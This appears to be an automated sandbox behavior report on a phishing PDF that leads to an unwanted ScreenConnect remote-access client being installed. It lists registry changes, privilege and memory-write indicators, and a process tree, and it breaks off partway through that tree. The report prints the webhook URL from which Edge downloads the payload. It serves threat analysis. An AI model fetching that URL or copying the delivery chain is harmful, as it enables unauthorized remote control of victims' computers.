Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.4.3.9662\\189f37b551f245c6\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-189f37b551f245c6\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-189f37b551f245c6\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0\Version = "436469763"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\B9464933E2DCA3A681F9735B152F546C	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-204488895-2999877624-296153668-1000\{82B838AE-9BA5-403B-86F3-55B7C8F1F536}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-189f37b551f245c6\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-9876-641A6E145695}\ = "ScreenConnect Client (189f37b551f245c6) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-9876-641A6E145695}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\99028772BD74EA1EFF5435C5FB7CEBE0\Full	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.4.3.9662\\189f37b551f245c6\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-189f37b551f245c6\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-189f37b551f245c6\shell\open	msiexec.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
656	msiexec.exe
656	msiexec.exe
5792	ScreenConnect.ClientService.exe
5792	ScreenConnect.ClientService.exe
5792	ScreenConnect.ClientService.exe
5792	ScreenConnect.ClientService.exe
5792	ScreenConnect.ClientService.exe
5792	ScreenConnect.ClientService.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3312	ScreenConnect.ClientSetup.exe
Token: SeShutdownPrivilege	5660	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5660	msiexec.exe
Token: SeSecurityPrivilege	656	msiexec.exe
Token: SeCreateTokenPrivilege	5660	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5660	msiexec.exe
Token: SeLockMemoryPrivilege	5660	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5660	msiexec.exe
Token: SeMachineAccountPrivilege	5660	msiexec.exe
Token: SeTcbPrivilege	5660	msiexec.exe
Token: SeSecurityPrivilege	5660	msiexec.exe
Token: SeTakeOwnershipPrivilege	5660	msiexec.exe
Token: SeLoadDriverPrivilege	5660	msiexec.exe
Token: SeSystemProfilePrivilege	5660	msiexec.exe
Token: SeSystemtimePrivilege	5660	msiexec.exe
Token: SeProfSingleProcessPrivilege	5660	msiexec.exe
Token: SeIncBasePriorityPrivilege	5660	msiexec.exe
Token: SeCreatePagefilePrivilege	5660	msiexec.exe
Token: SeCreatePermanentPrivilege	5660	msiexec.exe
Token: SeBackupPrivilege	5660	msiexec.exe
Token: SeRestorePrivilege	5660	msiexec.exe
Token: SeShutdownPrivilege	5660	msiexec.exe
Token: SeDebugPrivilege	5660	msiexec.exe
Token: SeAuditPrivilege	5660	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5660	msiexec.exe
Token: SeChangeNotifyPrivilege	5660	msiexec.exe
Token: SeRemoteShutdownPrivilege	5660	msiexec.exe
Token: SeUndockPrivilege	5660	msiexec.exe
Token: SeSyncAgentPrivilege	5660	msiexec.exe
Token: SeEnableDelegationPrivilege	5660	msiexec.exe
Token: SeManageVolumePrivilege	5660	msiexec.exe
Token: SeImpersonatePrivilege	5660	msiexec.exe
Token: SeCreateGlobalPrivilege	5660	msiexec.exe
Token: SeCreateTokenPrivilege	5660	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5660	msiexec.exe
Token: SeLockMemoryPrivilege	5660	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5660	msiexec.exe
Token: SeMachineAccountPrivilege	5660	msiexec.exe
Token: SeTcbPrivilege	5660	msiexec.exe
Token: SeSecurityPrivilege	5660	msiexec.exe
Token: SeTakeOwnershipPrivilege	5660	msiexec.exe
Token: SeLoadDriverPrivilege	5660	msiexec.exe
Token: SeSystemProfilePrivilege	5660	msiexec.exe
Token: SeSystemtimePrivilege	5660	msiexec.exe
Token: SeProfSingleProcessPrivilege	5660	msiexec.exe
Token: SeIncBasePriorityPrivilege	5660	msiexec.exe
Token: SeCreatePagefilePrivilege	5660	msiexec.exe
Token: SeCreatePermanentPrivilege	5660	msiexec.exe
Token: SeBackupPrivilege	5660	msiexec.exe
Token: SeRestorePrivilege	5660	msiexec.exe
Token: SeShutdownPrivilege	5660	msiexec.exe
Token: SeDebugPrivilege	5660	msiexec.exe
Token: SeAuditPrivilege	5660	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5660	msiexec.exe
Token: SeChangeNotifyPrivilege	5660	msiexec.exe
Token: SeRemoteShutdownPrivilege	5660	msiexec.exe
Token: SeUndockPrivilege	5660	msiexec.exe
Token: SeSyncAgentPrivilege	5660	msiexec.exe
Token: SeEnableDelegationPrivilege	5660	msiexec.exe
Token: SeManageVolumePrivilege	5660	msiexec.exe
Token: SeImpersonatePrivilege	5660	msiexec.exe
Token: SeCreateGlobalPrivilege	5660	msiexec.exe
Token: SeCreateTokenPrivilege	5660	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5660	msiexec.exe

Suspicious use of FindShellTrayWindow 23 IoCs

pid	Process
4332	AcroRd32.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
5660	msiexec.exe
5660	msiexec.exe
2212	ScreenConnect.WindowsClient.exe
2212	ScreenConnect.WindowsClient.exe
2212	ScreenConnect.WindowsClient.exe
2212	ScreenConnect.WindowsClient.exe
2212	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 5 IoCs

pid	Process
2212	ScreenConnect.WindowsClient.exe
2212	ScreenConnect.WindowsClient.exe
2212	ScreenConnect.WindowsClient.exe
2212	ScreenConnect.WindowsClient.exe
2212	ScreenConnect.WindowsClient.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe
4332	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4332 wrote to memory of 2628	4332	AcroRd32.exe	86
PID 2628 wrote to memory of 2400	2628	RdrCEF.exe	87
PID 2628 wrote to memory of 4912	2628	RdrCEF.exe	88
PID 2628 wrote to memory of 4912	2628	RdrCEF.exe	88
PID 2628 wrote to memory of 4780	2628	RdrCEF.exe	90
PID 2628 wrote to memory of 1620	2628	RdrCEF.exe	91
PID 2628 wrote to memory of 3252	2628	RdrCEF.exe	92
PID 2628 wrote to memory of 3252	2628	RdrCEF.exe	92
PID 2628 wrote to memory of 3844	2628	RdrCEF.exe	94
PID 4332 wrote to memory of 4536	4332	AcroRd32.exe	107
PID 4536 wrote to memory of 4040	4536	msedge.exe	108
PID 4536 wrote to memory of 2988	4536	msedge.exe	109
PID 4536 wrote to memory of 1124	4536	msedge.exe	110
PID 4536 wrote to memory of 2988	4536	msedge.exe	109
PID 4536 wrote to memory of 2988	4536	msedge.exe	109
PID 4536 wrote to memory of 1160	4536	msedge.exe	112
PID 4536 wrote to memory of 1160	4536	msedge.exe	112
PID 4536 wrote to memory of 4568	4536	msedge.exe	113
PID 4536 wrote to memory of 1104	4536	msedge.exe	114
PID 4536 wrote to memory of 4568	4536	msedge.exe	113
PID 4536 wrote to memory of 4568	4536	msedge.exe	113
PID 4536 wrote to memory of 1104	4536	msedge.exe	114
PID 4536 wrote to memory of 1104	4536	msedge.exe	114
PID 4536 wrote to memory of 4708	4536	msedge.exe	115
PID 4536 wrote to memory of 4708	4536	msedge.exe	115
PID 4536 wrote to memory of 4708	4536	msedge.exe	115
PID 4536 wrote to memory of 5016	4536	msedge.exe	116
PID 4536 wrote to memory of 5016	4536	msedge.exe	116
PID 4536 wrote to memory of 5016	4536	msedge.exe	116
PID 4536 wrote to memory of 2220	4536	msedge.exe	120
PID 4536 wrote to memory of 2220	4536	msedge.exe	120
PID 4536 wrote to memory of 3168	4536	msedge.exe	121
PID 4536 wrote to memory of 3168	4536	msedge.exe	121
PID 4536 wrote to memory of 3168	4536	msedge.exe	121
PID 4536 wrote to memory of 1568	4536	msedge.exe	126
PID 4536 wrote to memory of 1568	4536	msedge.exe	126
PID 4536 wrote to memory of 3680	4536	msedge.exe	124
PID 4536 wrote to memory of 2212	4536	msedge.exe	125
PID 4536 wrote to memory of 3680	4536	msedge.exe	124
PID 4536 wrote to memory of 2212	4536	msedge.exe	125
PID 4536 wrote to memory of 5136	4536	msedge.exe	127
PID 4536 wrote to memory of 5360	4536	msedge.exe	128
PID 4536 wrote to memory of 5360	4536	msedge.exe	128
PID 4536 wrote to memory of 5480	4536	msedge.exe	129
PID 4536 wrote to memory of 5480	4536	msedge.exe	129
PID 4536 wrote to memory of 5588	4536	msedge.exe	130
PID 4536 wrote to memory of 5588	4536	msedge.exe	130
PID 4536 wrote to memory of 5636	4536	msedge.exe	131
PID 4536 wrote to memory of 5636	4536	msedge.exe	131
PID 4536 wrote to memory of 6052	4536	msedge.exe	132
PID 4536 wrote to memory of 6052	4536	msedge.exe	132
PID 4536 wrote to memory of 5124	4536	msedge.exe	136
PID 4536 wrote to memory of 5124	4536	msedge.exe	136
PID 4536 wrote to memory of 5124	4536	msedge.exe	136
PID 4536 wrote to memory of 5436	4536	msedge.exe	137
PID 4536 wrote to memory of 5436	4536	msedge.exe	137
PID 4536 wrote to memory of 5436	4536	msedge.exe	137
PID 4536 wrote to memory of 5512	4536	msedge.exe	138
PID 4536 wrote to memory of 5484	4536	msedge.exe	139
PID 4536 wrote to memory of 5512	4536	msedge.exe	138
PID 4536 wrote to memory of 5484	4536	msedge.exe	139
PID 4536 wrote to memory of 5484	4536	msedge.exe	139
PID 4536 wrote to memory of 5684	4536	msedge.exe	140
PID 4536 wrote to memory of 5768	4536	msedge.exe	141

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\American Concrete Industries Inc.pdf"
1⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4332
- C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2628
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=F27240EE6D9271E78C29BB1C6D35C22D --mojo-platform-channel-handle=1740 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2400
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=3E3B7872DA403D5B467CC9D78D0F885D --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=3E3B7872DA403D5B467CC9D78D0F885D --renderer-client-id=2 --mojo-platform-channel-handle=1748 --allow-no-sandbox-job /prefetch:1
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4912
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=6E568934E7F743B588AF2BD4893F2D0E --mojo-platform-channel-handle=2336 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4780
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=D68734BCE18508D35616DA122339BC36 --mojo-platform-channel-handle=1964 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1620
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=53EEB36AA98EC59CB56F7F86727409A4 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=53EEB36AA98EC59CB56F7F86727409A4 --renderer-client-id=6 --mojo-platform-channel-handle=1844 --allow-no-sandbox-job /prefetch:1
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3252
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=1549044D237F0026F083BF84BA858D36 --mojo-platform-channel-handle=2720 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3844
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://j64nj32.app.n8n.cloud/webhook/Adobe%20Acrobat%20for%20Windows
  2⤵
  - Drops file in Program Files directory
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4536
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x2f0,0x7ff90810c188,0x7ff90810c194,0x7ff90810c1a0
    3⤵
    PID:4040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1764,i,12257484861111372065,15963314040083357315,262144 --field-trial-handle=2292,i,4174952640005880673,18361400243525160772,262144 --variations-seed-version --mojo-platform-channel-handle=2288 /prefetch:2
    3⤵
    PID:2988
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1976,i,9753760886677171572,4203305160055821820,524288 --field-trial-handle=2292,i,4174952640005880673,18361400243525160772,262144 --variations-seed-version --mojo-platform-channel-handle=2344 /prefetch:3
    3⤵
    - Downloads MZ/PE file
    - System Time Discovery
    PID:1124
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2612,i,6168749207497132783,9337005823507114249,524288 --field-trial-handle=2292,i,4174952640005880673,18361400243525160772,262144 --variations-seed-version --mojo-platform-channel-handle=2632 /prefetch:8
    3⤵
    PID:1160
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3460,i,12351173251210476360,12103916805213574468,2097152 --field-trial-handle=2292,i,4174952640005880673,18361400243525160772,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:1
    3⤵
    PID:4568
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3464,i,42735329514872610,17028468513476212395,2097152 --field-trial-handle=2292,i,4174952640005880673,18361400243525160772,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:1
    3⤵
    PID:1104
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4240,i,15713612931746345141,10468203283471416438,2097152 --field-trial-handle=2292,i,4174952640005880673,18361400243525160772,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:1
    3⤵
    PID:4708
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4252,i,7368731305940001011,8285829066185683827,2097152 --field-trial-handle=2292,i,4174952640005880673,18361400243525160772,262144 --variations-seed-version --mojo-platform-channel-handle=4344 /prefetch:2
    3⤵
    PID:5016
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3648,i,15902715059819927116,7219063971226512182,524288 --field-trial-handle=2292,i,4174952640005880673,18361400243525160772,262144 --variations-seed-version --mojo-platform-channel-handle=3660 /prefetch:8
    3⤵
    PID:2220
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
